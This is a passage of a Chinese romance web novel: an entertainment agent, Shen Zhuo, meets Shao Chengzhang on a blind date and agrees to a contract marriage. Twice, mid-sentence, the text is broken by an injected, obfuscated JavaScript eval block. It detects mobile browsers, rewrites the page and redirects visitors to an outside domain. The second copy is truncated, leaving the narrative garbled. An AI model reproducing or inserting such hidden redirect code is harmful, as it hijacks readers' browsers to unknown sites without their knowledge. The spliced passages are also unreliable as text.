沈灼立即止步，拢了拢头发，掩饰尴尬，还好没来得及和对方打招呼…… 右边靠窗的座位都坐满了，沈灼转身来到左边这一排。抬眼望去，只有靠里的一桌是单独一位男士坐在那里。那男人即使微垂着头也能看到高挺的鼻梁。男人盯着手机，手指不停上下滑动，光线穿过玻璃均匀地洒在他身上，透过轮廓也掩不住的帅气。沈灼忍不住多看了两眼，心想这要是我相亲对象就好了。 看了一圈邵成章好像不在这里……沈灼直接拨出对方的电话。 手机页面突然变成沈灼的来电，邵成章微微皱眉，迟迟不见人影又打来电话，她不会是变卦了吧？他接通电话，说了声你好。 背后传来低沉冷冽的声音，沈灼猛然转过身，目光撞上了不远处靠窗而坐的男人。 邵成章抬眼，看到沈灼拿着手机愣愣的表情，于是站起身，看着她说：“我是邵成章。” 下一秒，他话音未落，手机里再次传来同样的声音，与现实重叠，让沈灼恍惚了一瞬。她眨了眨眼，低头看着自己手中的手机屏幕，又抬头看着眼前的男人，脑海中瞬间反应过来——她刚刚在电话里听到的，竟然就是眼前这个人？！ 这些年，沈灼混迹娱乐圈，几乎都让她对帅哥免疫了，可看清邵成章脸的那一刻，她还是被惊艳到了。眼前的男人英俊高大，轮廓线条流畅，五官立体舒展，精致优越的脸像是建模出来的。 沈灼想，这个男人绝对有可以进娱乐圈的资质。她挂了电话走过去，和邵成章自我介绍，“你好，我是沈灼。” 邵成章颔首，抬手示意请坐，沈灼落座后，才跟着坐下。 看着对面的男人，沈灼想起自己刚刚内心的默念，这会儿突然开小差，想着早知道这么灵验，刚才应该说相亲对象是财神爷就好了。 邵成章拿起手机扫了下桌子左下角的二维码，递给沈灼，“沈小姐，喝点什么？” 沈灼回神“哦”了声，顺势接过手机，开始点单。她内搭一身米白色系，搭配浅卡其及膝风衣，和店里风格莫名的和谐。头发随意的用发夹抓了下，她垂着头看菜单，别在耳后的一侧碎发滑落出来。 邵成章看过去，感觉本人比迟女士发给他的照片多了一丝干练与成熟。 将军可真的太不靠谱了！沈灼忍不住在心里吐槽。她一路上想了各种言辞狠厉攻击性强的拒绝理由，现在不知道还能不能用得上。现在她得喝点冰的镇静一下，于是选了一款销量第一的冰茶，递手机回去的同时说了声“谢谢”。 邵成章接过，匆匆扫了一眼页面，点了一款销量排前的茶，又加了份热销甜品。 点的茶品很快送上来，每人一套茶具。冰茶是分装，特意作旧的粗陶南瓜壶和一个盛放着冰球的玻璃茶杯，沈灼提起茶壶将茶水倒进杯子，淡淡的棕橙色液体包裹着冰球流下，看起来不像是茶品，倒像是一杯龙舌兰。 邵成章也给自己倒了一杯茶，而后开门见山地说：“沈小姐，谢谢你抽出宝贵的时间过来见面。我长话短说，如果可以，我希望我们马上结婚。” 沈灼一口冰茶还未咽下，便被惊的呛到，连连咳嗽不止。 嗯？这路数不对吧？ 咳嗽平复下来，沈灼震惊地问：“等下，你认真的？我们才第一次见面。” 邵成章挑眉：“你以为我是在和你开玩笑？” 沈灼没说话，倾身放下茶杯，心里暗想：这难道听起来不像开玩笑吗？ 虽然她没相过亲，但是没吃过猪肉还没见过猪跑吗？哪有一上来就说要和对方结婚的啊？！ “沈小姐，你的情况我大致了解过。我认为结婚对我和你来说是一次双赢的合作。” 沈灼轻轻挑眉。 “我知道你毕业于C大，在鲸禧娱乐任职经纪总监，单身多年，征信上没有瑕疵，也没有任何经济纠纷或犯罪记录。” 换句话说，她是个“合适”的人选。除了一项，沈灼竟然是关司予的经纪人。 又是关家……可邵成章眼下似乎很难再去找到一个更合适的人选了。 沈灼听着，望向男人的眼神一点点凌厉起来，他这是调查过自己了？迟女士就这么迫不及待地想让她结婚吗……她感觉自己好像是菜市场里摊位上的菜品，在供人挑选。 “所以，你评估了一圈，认为我最合适吗？”沈灼冷笑，她最讨厌“被挑选”这件事，她只喜欢主动权在自己手上。 “如果你非要这么理解，也可以。”邵成章端起茶杯轻抿一口，“而且我说的结婚只是协议婚姻，并不会产生事实婚姻，你不需要有任何的期待。” 什么叫让她不要有期待？沈灼抬眼看过去，这个男的是不是有些过于自信了。再说她什么时候答应他要和他结婚了？饶是对面男人有一张挪不开眼神的脸，沈灼还是忍不住在心里鄙夷吐槽翻白眼。 “邵先生，我想你误会我的来意了，不是我坐在这里就代表要和你结婚，懂吗？” “那沈小姐是想没完没了的继续相亲吗？”邵成章直直盯着沈灼说，“看得出来，你对相亲应该很抗拒吧，而且据我了解，你的工作也很忙，也没有时间应付这些。和我结婚，你可以省去这些麻烦，而且我保证婚后你原本的生活不会有任何变化，如果你担心婚后财产归属问题，我们可以先去做公证。” “邵先生这番话是对多少人说过了？”沈灼轻笑一声，这番话已经熟练缜密，说得滴水不漏。 “没有，你是第一个，我希望也是最后一个。”他直视着她的眼睛，很坦然地接受着沈灼的审视。 但邵成章说得对，不是他，迟女士还是会找别人安排和她相亲。沈灼指尖摩挲着杯壁。 可相亲本质上是是一场双向筛选，凭什么是他在选她？ “邵先生，我承认你说的在理。”沈灼挺直腰板，清了下嗓子，“既然奔着要结婚的目的，那我们彼此之间都该有点诚意对吧。很显然你查过我了，那相应的，你也应该带着征信记录、无犯罪证明这些一起。还有，我要一份传染病八项的检查报告，由于你的工作性质，我有所顾虑也是人之常情。” 前面都没问题，但是听到最后，邵成章不解：“传染病八项和我的工作有什么关系？为什么你要有顾虑？” 沈灼看他一眼，“我对情趣用品这一行业没有职业歧视，毕竟这确实有一定的市场和需求，但我也承认，我对某些群体是会有刻板印象。”她说的很直白。 “情趣用品吗？”邵成章感到吃惊又好笑，“你为什么会觉得我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590073|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”话没说完，便及时打住换了个问法，“你是怎么知道我的工作的？” “不是你和迟女士说的？” 他努力回想了一下那天和迟女士说明自己职业时的遣词用句，不知道是哪些词句让迟女士和沈灼产生这样的误会。所以她要传染病八项的检查报告，是把自己当成私下乱来的人了？ “沈小姐，其实我的工作不是……” “没关系，你不用解释。我不在意你的职业，否则今天也不会过来和你见面了。”沈灼微笑着打断他。 “是吗……”被打断的邵成章轻靠在椅背上，眯起眼睛，有些玩味地问她，“那沈小姐，除了工作，你对我还有什么其他想了解的吗？” “当然了，如果不介意的话，麻烦说下你的身高体重年龄、毕业院校、恋爱经历、兴趣爱好以及工资存款，我可以现在了解。”沈灼忽然笑得假假的，一口气不停说完。 “如果我说我介意呢？” 沈灼耸肩：“那看来邵先生也没有什么诚意啊，又何必和我谈结婚？我觉得我们还是不要彼此浪费时间了。” “好吧。”邵成章倏地笑了下，“身高186，体重85千克，年龄32，毕业于哥伦比亚大学，大学时期有过一段恋爱。平时喜欢徒步，看书，看电影。我名下有房和车，没有贷款，至于收入，日常温饱不成问题。” 沈灼听完，内心惊叹：这一行这么暴利吗，她工作这么多年，还在还房贷…… “怎么样沈小姐，请问还满意吗？”邵成章勾唇问她。 沈灼淡定地点头，“勉强吧，不过以你这的条件，怎么会找不到女朋友结婚？” “不想和家里安排的相亲对象结婚，这个理由可以吗？” 不和家里的相亲对象结婚，但是可以和从未见过的陌生人结婚。沈灼觉得眼前这个男人三十多了怎么还有点叛逆呢。 但她从坐下就一直在观察邵成章的表情，人在撒谎的时候是有细小微表情变化的，她曾辨认出来过男艺人隐瞒恋情，女艺人减肥偷懒，然而却凭着感觉认为邵成章说的好像不像是假的。 邵成章不知道沈灼信了没有，他已经将自己的想法说了，只等着沈灼点头了。他拎起隔壁座位上的一个袋子，递给沈灼。 她狐疑着看过去，不明所以。 “两瓶Wildpony，答应你的。” 沈灼这才想起来，自己来的目的就是这个啊，和对方说着说着差点还忘了。 “你要求的证明我会发给你，希望沈小姐收到之后尽快给我一个答复。没什么事我就先走了，听说这里的甜品还不错，沈小姐可以尝一下。”说完，邵成章起身，大步流星地离开了。 甜品是巴斯克，沈灼拿起甜品勺挖了一口送进嘴里，口感绵密，味道也没有过甜过腻，刚刚好。 * 玛莎拉蒂车旁，邵成章发现隔壁一辆白色奔驰C系斜停着，他连驾驶室的门都打不开。皱着眉看了看四周，来往的路人依次走过车子，不见车主。侧身走过两车之间的空隙，来到奔驰的车头，他松口气，车窗上有贴车主电话。 他拨打过去，没想到一串号码在拨通的瞬间变成了“沈灼”。 …… 沈灼还在吃着甜品，便接到邵成章的电话。 沈灼：“还有什么事吗？” 邵成章：“尾号K71的奔驰是你的车？” 沈灼：“是的，怎么了？” 邵成章：“挡着我的车了。” 沈灼：“……” 沈灼挂断电话，吃完最后一口巴斯克才拎上酒走出茶店，疾步走向停车位。她远远看见身材颀长的邵成章站在一辆黑车旁，正在打电话。她突然慢下脚步，细细回想，那好像是一辆玛莎拉蒂来着？ 难道邵成章还是个富二代？现在的富二代创业都这么特别吗？ “……好，一会儿我把车给你停在渡的门口。”邵成章的车前两天被轻微刮噌，直接去4S店补漆搁置了一晚，现在开的玛莎拉蒂是梁屿琛的。刚刚助理已经去取了他的车。 沈灼走近听到邵成章要还车，面上不动声色，内心已经嗤笑一声：虚荣。 如果要装，至少要装得不要让别人发现吧。 5. 第 5 章 沈灼倒车出来，看着玛莎拉蒂一溜烟儿离去，她也打开导航准备回家，一条消息跳出来，是迟女士发来的一条语音，让她晚上回家吃饭。 她轻叹一声，自知逃不过这茬，于是立马改了地址。 车子停在一片老居民区，下车时沈灼正看见迟女士提着菜，遇到了邻居张阿姨，两个人打着招呼并排走进单元楼。她下车快步跟上，一进楼道，就听见两个人在聊天。 老住宅楼没有电梯，楼道里有点回音，沈灼和她们差了一层楼梯都听得一清二楚。 张阿姨：“买这么多菜？今天闺女回来？” 迟女士心情愉快，笑着说：“是啊！” 张阿姨：“什么时候能带个男朋友回来啊！” 迟女士：“今天好不容易去见了一个小伙子，我瞅着这人不错，这都给介绍了多少个总算去见一个！” 接着又听见迟女士感叹：“哎哟，这一晃都要30了，人一点都不着急。上周我去她新房，你是不知道那冰箱里什么都没有，等我百年了，她还一个人这样，我哪儿放心？” 沈灼听了在心里腹诽，哪有30啊，明明才28周岁，刚过完生日不久。 张阿姨在一旁安慰道：“瞎说什么呢，你们家沈灼模样好，赚钱也多，这么年轻就买了房和车，肯定有大把男的喜欢，不愁找不到对象。” 迟女士叹气，语气充满自责：“上高中的时候她有个挺喜欢的小男孩，我那会儿和她爸吵架，脾气也不好，总说她。加上后来她爸那事，我总怕影响到她了……前两年催她总说不想结婚，也不谈朋友，我觉得她是在怪我……” 沈灼轻手轻脚地跟在后面，听到迟女士的话有些五味杂陈。她停了脚步，直到迟女士进家好一会儿才上楼。 进门之后，迟女士在厨房里忙活着，看到沈灼，兴致勃勃地问相亲怎么样。 沈灼本想随便找个理由和迟女士说没戏，可看着她满眼期待，沈灼像哽住一般，愣是说不出来，话到嘴边又改了口：“挺好的。” 迟女士笑得更开心了：“真的啊？从你嘴里说出来挺好那就是真的挺好了。是不是对人家还挺满意的？我就说小邵人不错，你们俩能相处试试？” 沈灼只得点点头，不忍坏了迟女士的心情。 晚饭，迟女士做了三菜一汤，全是沈灼爱吃的，一边吃一边嘱咐她要和对方多沟通多聊天，有时间就出来约会等等。沈灼大快朵颐，根本说不出话也不想说什么，只能“嗯嗯”地应着她。 饭后收好碗筷，沈灼准备回家，在门口换鞋的空档，迟女士打包好了两盒冷冻水饺，是她自己昨天现包的。 迟女士关心地说：“没事别老吃外卖，少喝酒。还有和小邵好好相处，处差不多了就带回来吃顿饭。” 沈灼接过饺子，突然问她：“妈，如果我结婚了，你是不是就放心了？” 迟女士一愣，随即说道：“有人能好好照顾你我肯定放心了啊，你看看你那新家里，冰箱里什么都没有，是不是老是吃外卖……” 眼见着迟女士又要唠叨，沈灼急急喊停，说声知道了。 回家后，沈灼先进了厨房，将野马仔和水饺分别放进冰箱里。出了厨房直接瘫在沙发上。望着天花板，思绪没有抓手般的在脑中飘荡，灯光刺的有些晃眼，沈灼抬起手臂覆上眼睛，脑中闪过邵成章的提议。 如果结婚的话，那她得去做个婚前的财产公证，也得写几条协议，比如婚后不能互相打扰之类的。 对她来说，邵成章就是个结婚搭子。 手机嗡嗡两声，是姜珺发消息告诉她她明天剧组杀青，后天飞机回来，让她好吃好喝的提前准备好迎接自己。 沈灼有点烦有点乱，本想和她打视频说说相亲的事，手忽然一顿，她才发现刚刚竟然真的在考虑邵成章的结婚提议。不过姜珺那边还没收工，视频就此作罢。她问她有什么事，沈灼哼了一声，回复让她先工作，等回来四十米大刀伺候着。 * 邵成章答应沈灼的体检报告和征信记录都发给了她，沈灼看过没有问题。做事一向果断干脆的她这次犹豫了，纠结了两天，也没想好对于邵成章的提议是接受还是拒绝。 毕竟结婚还是个挺大的事。 姜珺傍晚回来，她跟组近两个月，瘦了好几斤，一进门便吆喝着要大吃特吃补回来。沈灼早已提前买好了食材，鸳鸯锅已经开火冒着热气。姜珺轻车熟路进了厨房打开冰箱，看到两瓶野马仔，不禁惊呼哪里买的。 沈灼撇了一眼，说是邵成章送的。 “邵成章？”姜珺冲到厨房门口，瞪着大眼问她，“男的？？谁啊？” “就那个情趣店老板。”沈灼意简言赅。 “啊？”姜珺瞪着眼睛，难以置信，“阿姨给你介绍的相亲对象？你们见面了啊？你怎么没告诉我啊，到底什么情况？” “我天你这些问题，一会儿我和你说。” “靠，小灼子，你隐瞒不报，今天狠敲你一笔。”姜珺十分不客气地走到客厅，从隐藏酒柜里挑了一支格兰威特18。 沈灼“啧”了一声，“吃火锅配威士忌啊，我看你分明是单纯找借口想喝我的酒。” 姜珺哼哼两声，“我加气泡水。” “我八百多的酒你不要暴殄天物，我要纯饮。” 姜珺冲她嘿嘿一笑，“那感情好。” 沈灼很无语地笑了，就知道她在这等着她呢。 火锅开了，咕嘟咕嘟冒着热气，沈灼一边下吃的一边将这几天发生的事讲了一遍。 姜珺在一旁听得津津有味，还不时地提问，“你说的帅是有多帅，能有关司予帅？” 沈灼眯眼回想着邵成章那张脸，回答：“风格不一样，他是很硬朗那种长相，五官比较立体，骨相很好。” 姜珺睁大眼睛，“你能这么说，那应该是很帅了。” 沈灼点头，的的确确。 “后来呢，再没什么别的联系？”姜珺八卦。 沈灼回答：“没有。” 姜珺问道：“那你怎么想的？” 沈灼支着脑袋，思忖片刻，缓缓说：“其实我觉得和他结婚，好像也行。”说完她喝起酒来。 醇厚浓郁的威士忌在口腔中蔓延，酒液顺着喉咙滑下去，混着果香和橡木味道的灼烧感从胸口顶到鼻腔。可没一会儿又感觉舌根有几丝甜甜的味道让人禁不住再喝一口。 “什么？”姜珺刚从锅里挑起一颗牛肉丸，惊得直接掉进锅里，溅起油花，她疯狂输出：“你真要和他结婚啊？你疯了吗……他这么着急结婚，是骗婚的怎么办？万一他是gay呢？你真信他说是不想和家里安排的人结婚啊。” 沈灼耸耸肩，一副无所谓的样子，“反正他说了也只是协议结婚，领个证而已。而且我肯定会先去做财产公证，婚前协议之类的。再说买了这房子之后我又没剩多少钱，每个月还有房贷，有什么可骗的。结婚之后他过他的，我过我的，没什么糟心事儿，我妈也能放心，一举两得呗。” 沈灼的语气冷静，仿佛讲的不是她自己的事。她说完，又抿了两口酒。 “明明结婚只是个选择，可是大多数人好像真的没得选。”姜珺目前是个不婚主义，只恋爱不结婚是她的婚恋态度。 “是啊，人总是要考虑很多东西。你知道吗，我听我妈说到她百年，我就觉得我不该让她失望，本来我爸就……”或许是喝了酒的缘故，沈灼的思绪阀门像是被打开了，平时不去想的人事物都任由发散，甚至飘到她面前来。 沈灼是很少提起沈复荣的。不，她拒绝自己想起关于沈复荣任何事。 “她嘴上不说，其实我知道她这些年很累，所以我一直努力让自己变得更优秀一点，努力赚钱努力买房子……就是想让她在外人面前说起自己来能有面儿，就算没有老公她还有个挺不错的女儿，我也能证明我不需要靠任何一个男人过活……”说着说着，沈灼声音都哽咽了，眼泪就这么突然掉下来，“可是现在看好像还是不行……” “我知道，我知道。”姜珺立即抽了两张纸巾递过去，“哎呦灼子……”姜珺见不得人哭，别人一哭她也想跟着哭。 “我不想让她再那么辛苦……可是今天听她那么讲，我也不想让她这样担心我……”沈灼接过来擦了眼泪后平复了一下，“你说我能怎么办……和她说这么多年不想结婚也说不通，好烦。” 姜珺也没招，她也不理解为什么在婚姻里受过伤害的年长女性还要执着自己的女儿也要结婚的归宿。 最终她也只能长叹一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别笑，我认真的，赶紧转账啊。” “你喝这杯酒都不止50了，怎么还和我要钱？” “你怎么这么小气呢！” 两个人又斗起嘴来，忽然一阵铃声打断二人，是姜珺的电话。她接听了一会儿，而后对她指了指卧室，然后起身从包里拿出电脑进了屋子。 沈灼又给自己倒了一杯酒，这时候酒的尾调已经非常明显，香草和焦糖的馥郁留在味蕾上，她很喜欢。 垂眸看见桌边的手机，沈灼伸手捞过来，找出邵成章的联系页面，大脑还犹豫着，手指却不受控制的点了语音通话，没几秒便接通了。 干净磁性的声音传过来：“沈灼？” 沈灼闭着眼睛轻轻嗯了声。 “怎么，是想好了吗？” 沈灼说：“想好了。邵成章，我们结婚吧。”鼻音还没消下去，听起来比往常说话的音调要轻一些，闷一些。 邵成章问：“你是哭过了吗？和我结婚这件事有这么难过吗？” “啊？”沈灼愣了两秒后说：“不是难过。” “那是喜极而泣？” “……你想多了。”她说得有点慢，声音有些散漫也夹着软，连这种不带感情的无语和不满听着都黏糊糊的。 他又问她：“是不是还喝酒了？” 不知道他是怎么听出来的，沈灼也诚实地说道：“一点点。” 邵成章顿了下：“我当你是酒后失言，等清醒的时候再和我说吧。” 沈灼打断：“你怎么知道我不是酒后吐真言？” 沉默片刻，她忽然听到低沉笑声，像细微电流般透过手机，穿过耳膜，手机贴着的半边脸不知怎么有些发烫。 沈灼舔舔唇，感觉有点口渴，又拿起杯子喝了口酒。尾调一股淡淡的香料味蔓延出来，再过几秒钟，口腔内是青苹果的清甜回甘。 真甜，她想。 邵成章和她确定：“沈灼，你想清楚，真的要和我结婚？” 沈灼重重点头，想到对方看不见，才缓缓出声：“嗯，我们结婚吧。” 邵成章勾唇，轻哼出一声笑，说道：“好。” 姜珺从房间里出来，看到沈灼双肘支起撑着头，已经闭上眼睛，旁边的格兰威特只剩一半了。 6. 第 6 章 翌日清晨，闹钟还没响沈灼便醒了，头还有些发沉，她摸到手机，解锁后竟然是和邵成章的微信聊天页面，扫到民政局三个字更是吓得她一激灵彻底醒了。 邵成章：“明天下午一点，先去公证处公证再去民政局。”时间是昨晚十点零九分。后面还附了一条公证所需要的材料。 她发了个问号过去。 邵成章习惯早起，然后到公寓二楼的露天泳池游几圈，收到沈灼的短信时，刚刚换好衣服。他很快回复：“这么快就不认账了？” 她昨晚干什么了？她往上一划，看到聊天框里那条绿色的语音通话气泡，这是自己主动给他打的电话。 耳边仿佛惊堂木重重一拍：物证确凿！ 她皱着眉头，只言片语在脑海中四处乱窜……她和邵成章是不是说要结婚来着？她起身下床，跌跌撞撞地跑到隔壁房间，将还在熟睡中的姜珺摇醒，“姜珺，我昨晚说要和邵成章结婚了吗？” 姜珺迷迷糊糊，没有完全醒来，翻了个身背对沈灼，哼唧着回答：“是啊，你说要和那个情趣店老板结婚。” 惊堂木在心里再次响起：人证确凿！ 沈灼呆若木鸡地走出次卧，看到餐桌上的酒杯后狠狠敲了下脑袋，真是酒精误人。 手机又响起，邵成章发过来一条mp3格式的文件，点开是一段录音。 “沈灼，你想清楚，真的要和我结婚？” “嗯，我们结婚。” 不是，这人怎么还录音啊？！ 惊堂木第三次响起：铁证如山，还想狡辩？ 沈灼简直想穿越回昨晚告诉自己冷静一点，可是现在事已至此，说都说了…… 紧接着邵成章又发来一条消息：“没关系的沈小姐，昨晚你说的我也可以当不作数。” 沈灼翻个白眼，这妥妥的绿茶发言……她死咬着嘴唇想着要怎么办，但是大脑怎么都运行不起来，还在被酒精麻痹的状态里。 算了算了，结就结。 结婚不就是靠的一股子冲动吗，管他是爱得上头还是喝得上头。 想到这里，沈灼干脆不做不休，引用了邵成章上面民政局那句话，回复：“我会准时到。” * 沈灼请了一天假，洗了个澡化了个淡妆便出门了。 到达目的地，她远远看见邵成章，个高腿长的他非常显眼，旁边还有个西装革履，戴眼镜的中年男人。走近些后，沈灼发现邵成章今天开的是辆卡宴，不知道又是从谁哪里借来的呢？ 邵成章和她介绍旁边这位是刘律师，给他们起草了一份婚前协议。沈灼收回思绪很客气地和刘律师打了个招呼。 “沈小姐，婚期是两年，您婚前财产及婚后个人所得均归本人所有……”刘律师简要说明了协议内容，主要是保证沈灼的婚前及婚后个人财产。 沈灼微微颔首，邵成章接过话头，“除此之外，还有几点——我们不干涉彼此生活，非必要可以不主动公开婚姻关系以及同居，另外我保证不会主动发生任何肢体亲密行为。” 邵成章垂眸看了她一眼，补充道：“包括但不限于牵手拥抱以及——” “我明白。”沈灼点头，截住他的话。 “当然如果以夫妻身份出席必要场合或者有特殊情况，以上情况还是需要配合对方。如果一方提前想终止婚约，可以协商解除。”邵成章微微一笑，“沈小姐，还有什么要补充的？” 沈灼指尖滑动iPad，过了一遍电子版协议，“没什么问题。”说完将iPad递给刘律师。 刘律师接过，上车把沈灼的资料和财产细则都补充好。 沈灼和邵成章并肩站着，“刚刚那份模板上好像没有写你的财产细则？”她微微侧首看他。 “嗯，主要是为了你的财产保障。婚后有其他的支出，我来支付。如果之后你想离婚，也会补偿你的。” “邵先生，我不喜欢占别人便宜。”沈灼转过身，正对上他的视线，“这份协议的核心是各自的财产归各自所有，既然如此，就不需要额外的让渡。你的资产是你的，我不要。” 邵成章微微挑眉，他打量着沈灼片刻，忽然笑了一下。 “我是来交易的，不是来卖身的，所以你可以放心，就算这份协议上没写，哪怕哪天真到了这一步，我不会用法律或者道德来要求你补偿我。” “沈小姐倒是比我想得还要干脆。” “合作关系而已，清清楚楚才好。”沈灼心里想，等你什么能买得起旁边的卡宴再来和我说补偿吧，在这装什么大款啊。 “对了，过段时间可能需要你和我回家吃顿饭。”沈灼想起来迟女士的话，这场催婚大战终于要落下帷幕了。“如果你也需要我配合你的话，提前和我说，我需要提前安排时间。” 邵成章答应：“好。” 协议补充好，刘律师从附近的打印店带回来文件，沈灼接过笔，龙飞凤舞地签上自己的名字又按了手印。 邵成章看着沈灼的签名，字势张扬，和她本人倒是一点不像。一开始听迟女士介绍，他还以为是卓越的卓，却没想到是灼灼其华的灼。他感觉这名字在沈灼身上有些违和，也有些贴切。 沈灼的眼睛很漂亮，杏眸明澈，睫毛纤长，眼尾微微上挑，天生带着几分勾人的韵味。若是性子张扬一些，一定是难以让人忽视的类型。可偏偏她一张好看的脸上没什么多余的表情，总是淡淡的，说话做事简明扼要，冷静理智。只有偶然起些心思，冲人假笑的时候，嘴巴扬起的弧度才会大一点。 邵成章嘴角露出一丝微不可察的笑容，接着在男方那一栏的空白处签下了名字。 刘律师任务完成，便准备离开，临走之前告别，他由衷祝福：“邵先生、邵太太，新婚快乐。” 两个人皆一怔，对这新身份显然还没有接受。等他走远，邵成章轻咳一声，抬脚说了句走吧。 公证处没什么人，两个人很快就出来了。沈灼和邵成章都开车来的，一前一后又开去了民政局。 从民政局出来时，太阳缓缓西沉，天边已经染上一层薄薄的暮色。 沈灼低头看了眼手里的结婚证，心里忽然有一种陌生而微妙的实感。她侧目看向邵成章，他站在几步之外，正低头回复信息，半清不明的夕阳洒落在他冷峻的眉眼间，衬得他的轮廓愈发分明，却也带着几分不易接近的疏离，和刚刚在里面假装结婚开心拍下结婚照里微笑的男人截然不同。 沈灼收回视线，率先迈步下台阶，鞋跟踩在地面上，清脆利落。“那没什么事我就先走了。”她语气淡然得像是刚刚办完一件再普通不过的手续。 邵成章落后半步，随后抬脚跟上。 直到沈灼临上车前，邵成章才叫住了她。 他打开车门坐进去，从车里面拿出来个墨色皮质盒子，“戴上吧，有些场合会需要。” 沈灼明晃晃看到盒子上面的英文字母后，不禁吸了一口气：邵成章这么大手笔，给她买HW的戒指？ 打开一看，赫然入眼的那颗钻至少也有一克拉，这能是真的吗？如果是真的，沈灼当即在心里估算了价格，怎么也得有30万了！ 邵成章能买得起？ 是真的，拿人家的总归是要还的，那还不如不要。是假的，她戴个假钻多掉价。 横竖不能要。 沈灼摇头说，“不必了，这戒指太招摇了，工作带着不方便。” 邵成章想着沈灼刚打量戒指的眼神，大概猜到她在想什么了，他不解释也不强迫，忍俊不禁道：“行吧。” 二人就此分别，两辆车一辆朝东一辆朝西。 * 邵成章的公司Dreamora位于CBD核心地带，一座玻璃幕墙的高楼中，他们公司占据了其中六层。电梯门打开，扑面而来的就是年轻跳脱的氛围——开阔的前台区摆放着一尊巨大的潮玩手办，办公区域的办公桌面上也都摆放了不少大小的手办，大家穿着随意，甚至发色都和会议室玻璃门上贴的五颜六色的便利贴能一一对应上，工作氛围十分自由。 穿着西装衬衫的邵成章和这里有些格格不入，可员工们似乎都习惯了，看见他走进来朝他摆手，有喊老大的，有喊邵总的，邵成章一一点头回应。 助理陈航先行一步推开总裁办公室的门，邵成章吩咐开会。原本今天下午有一场关于公司和电商合作的会议，因为沈灼临时的结婚邀约，邵成章怕她反悔，不得不向后推迟会议。 这两 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负责人皱了皱眉，就在这时，坐在最边上的一名员工忽然开口：“其实……我觉得有个人还挺合适的。” 众人循声看去，说话的是市场部的新人小赵，她犹豫了一下才说道：“关司予……” 邵成章眉梢轻挑：“理由？” “虽然他是这两年的新人，但是他私下会自己画动画形象和粉丝互动，甚至还上过热搜。粉丝大多年轻，感觉和我们的品牌调性很符合……” 会议室陷入沉默。 市场部负责人偷瞄邵总，见他紧皱着眉头，这是相当的不满意了，于是轻咳一声抢先说道：“邵总可能不知道关司予，是个新人，刚拿了个奖，有点出圈但按照目前的标准来看，粉丝体量不太够，而且他的带货能力还没有经过验证。如果后续我们能获取更有说服力的数据，也许可以再评估。” 邵成章点头，不置可否：“先Pass。” 玻璃幕墙吞下最后一缕琥珀色残阳，会议暂时中止休息。众人得知老板请吃晚餐，点的还是小悦园，这是向京区排名第一的西餐厅，人均150不算高，但平时到店排队两小时起步。大家直欢呼邵总大气，刚刚开会严肃紧张的气氛全然不见。大家一边吃一边聊最近的八卦或者市场动态。 “又被大数据监听了，不过我究竟什么时候才能看到这张图不心动？真的太好磕了！姐你快看，这氛围感，绝了！”小赵打开某社交平台惊呼，坐在她身边的市场部主管被她拱得没办法，只好瞥了一眼手机屏幕，随口问道：“谁啊？” “关司予啊！这张图真的很戳，你看看。” “女朋友啊？” 手机屏幕上，是很早之前关司予站姐拍的图。 昏黄的灯光下，男人蹲在地上，他烫了一头卷发，微微扬着下巴朝站在面前的女人笑着。而站在他面前的女人穿着黑色超长皮衣，双臂抱胸交叠，表情冷淡，居高临下地看着他，看着气场疏离。画面里，周围的背景和路人都被模糊处理，让两人的对视，暧昧又耐人寻味。 “不不不，不是女朋友，是他经纪人，不过也很好看啊对吧？好有气场哦。”小赵兴奋地安利，“你不觉得这画面特别有‘姐狗感’吗？高冷御姐低头看着奶呼呼的小狗，呜呜，实在太有感觉了！一开始我们都以为是情侣，后来澄清了，但磕的人还是一大堆！” 说完，她忍不住拱了拱主管的胳膊，笑嘻嘻地问：“你说他们俩会不会是真的？” 主管刚要随口敷衍两句，忽然听到一道低沉的嗓音插了进来—— “不是真的。” 声音不高，却足够让人瞬间安静下来，会议室里所有人的目光都一齐汇聚在邵成章身上。 众人惊讶，邵总什么时候还关注娱乐圈了？ 邵成章确实对八卦不感兴趣，但是听到“关司予的经纪人”几个字时，难得撩起眼皮看向小赵的方向，听了一会儿。 关司予的经纪人？那不就是沈灼？ 看着很配？呵。 他记得，下午领证时，民政局的工作人员还笑着感叹他和沈灼看起来般配，没想到转头就听到她跟另一个男人“很有氛围感”。 他眯了眯眼，不屑地告知众人，“关司予的经纪人已经结婚了。” 7. 第 7 章 沈灼回到家的时候才刚过六点，天都没完全黑。姜珺正躺在沙发上准备给她发消息问她回不回家吃饭。 “你今天怎么这么早回来了？刚要给你发消息呢。”看到沈灼回来，姜珺惊讶。 “请了一天假。” “啊？怎么了？你身体不舒服？” “没有，去领证了。” “哦哦。”几秒钟后，姜珺从沙发上弹起来，“什么？！领证了？什么证，结婚证？”她瞪大眼睛看着沈灼。 “对啊，昨天不是和你说了吗。”沈灼说得举重若轻，换了拖鞋她走进餐厅先给自己倒了一杯水，一副无所谓的样子就好像自己出了趟门买东西一样，领证对她来说似乎不是一件大事。 “不是，昨晚不是还在讨论吗......”姜珺走上前去围着沈灼，还是一脸的不可置信。 “讨论的结果就是可以结呀，不是你说的我命犯良缘，这不我的缘来了。”沈灼说着忍不住笑起来。 姜珺拐了她一肘，“我真服了。”她又再次确认，直到沈灼从包里拿出一本结婚证。姜珺接过来，看到结婚照直接忍不住爆粗口，“灼子你怎么没早说他这么帅啊，就这长相还有什么可犹豫的......” 沈灼无语，这倒戈的也太快了吧...... “这时候你就不说是骗婚的了，不是gay了？” 